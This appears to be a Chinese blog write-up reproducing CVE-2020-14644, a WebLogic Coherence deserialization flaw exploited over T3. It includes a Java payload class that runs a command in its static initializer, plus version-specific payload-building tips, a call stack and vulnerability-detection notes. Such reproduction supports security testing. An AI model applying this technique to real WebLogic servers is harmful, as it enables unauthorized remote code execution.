[CVE-2020-14644]weblogic coherence 反序列化RCE via t3

参考:

漏洞调试

com.tangosol.internal.util.invoke.RemotableSupport
在这里插入图片描述
com.tangosol.internal.util.invoke.RemoteConstructor
在这里插入图片描述
使用作者给出的(12.2.1.3版本的?)这个md5值:E12ECA49F06D0401A9D406B2DCC7463A抛出了异常

java.lang.NoClassDefFoundError: com/tangosol/internal/util/invoke/lambda/LambdaIdentity$423B02C050017B24DB10DFF759AA56BF (wrong name: com/tangosol/internal/util/invoke/lambda/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A)

意思是423B02C050017B24DB10DFF759AA56BF才正确?
于是通过12.2.1.4的coherence.jar中的LambdaIdentity生成了新的md5值。果然与之前报错的吻合。

在这里插入图片描述
于是重新生成payload。新建package:com.tangosol.internal.util.invoke.lambda,然后新建类:LambdaIdentity$423B02C050017B24DB10DFF759AA56BF,编译。拿到其class文件的路径。

package com.tangosol.internal.util.invoke.lambda;

import java.io.IOException;

public class LambdaIdentity$423B02C050017B24DB10DFF759AA56BF {
    
    
    public LambdaIdentity$423B02C050017B24DB10DFF759AA56BF() {
    
    
    }

    static {
    
    
        try {
    
    
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
    
    
            var1.printStackTrace();
        }
    }
}

加载class只有一次机会,首次成功或者失败之后,第二次都无法成功了。
(重启weblogic)

在这里插入图片描述
pocsuite:
在这里插入图片描述

在这一步执行了我们自定义类的static代码块:

Remotable<T> instance = (Remotable)definition.createInstance(constructor.getArguments());

实现命令执行。
当然先前的准备工作是得先定义这个类,
其调用栈:

...
defineClass:642, ClassLoader (java.lang)
defineClass:181, RemotableSupport (com.tangosol.internal.util.invoke)
realize:137, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1248, ObjectStreamClass (java.io)
readOrdinaryObject:2076, ObjectInputStream (java.io)
readObject0:1571, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)

抛出报错:

java.lang.ClassCastException: com.tangosol.internal.util.invoke.lambda.LambdaIdentity$423B02C050017B24DB10DFF759AA56BF cannot be cast to com.tangosol.internal.util.invoke.Remotable

在这里插入图片描述

其他版本的利用以及回显

参考:

github上给出的是wlfullclient.jar和coherence.jar两个jar包一起的,但是由于不同coherence.jar版本的利用代码不一样,我也不知道作者提供的是哪个版本的,于是针对不同weblogic版本时更换coherence.jar包,将coherence.jar从各个weblogic目录下拿出来,结构如下:
在这里插入图片描述
在14.1.1.0上也复现并回显成功:
在这里插入图片描述

通过抓流量,发现每次都会有一个开始的包,认为是握手包吧。
后来发现不用握手直接发最后的payload也可以利用:
在这里插入图片描述
回显只要响应里有flag字符串即可判定漏洞存在:
在这里插入图片描述

后来发现之所以直接最后一个包就可以触发命令执行是因为上一步已经安装了这个Object,最后一步只是直接调用执行命令。而前期安装的工作必不可少。不然重启weblogic之后就不存在了。

在这里插入图片描述
在使用12.2.1.4的时候,发现碰到这个错误:

Exception in thread "main" javax.naming.NamingException: Couldn't connect to the specified host : Exception waiting for response; nested exception is: 
	java.io.EOFException: endOfStream called by muxer [Root exception is org.omg.CORBA.MARSHAL: Exception waiting for response; nested exception is: 
	java.io.EOFException: endOfStream called by muxer  vmcid: 0x0  minor code: 0  completed: No]

后来查看weblogic控制台发现可能是iiop之前被我禁用了。
在这里插入图片描述

<2020-9-11 下午03时12分11,636秒 CST> <Warning> <Socket> <BEA-000443> <The connection attempt was rejected because the incoming protocol iiop is not enabled on channel Default[iiop][2].>

激活更改之后,重启weblogic生效。

如果报这样的错,应该是coherence.jar的版本不对,其对应的serialVersionUID不一样:
在这里插入图片描述
要针对哪个版本的weblogic,就要用相应版本的coherence.jar进行payload构造。

另外测试发现,14.1.1.0的coherence.jar包可以适配12.2.1.4版本的weblogic,而12.2.1.3的weblogic只能用12.2.1.3的coherence.jar包来生成payload。
测试结果就像这个一样:
在这里插入图片描述

10.3.6.0和12.1.3.0版本,发现并没有相关的类:
在这里插入图片描述
在这里插入图片描述

所以应该是不受影响吧。

猜你喜欢

转载自blog.csdn.net/caiqiiqi/article/details/107838351
今日推荐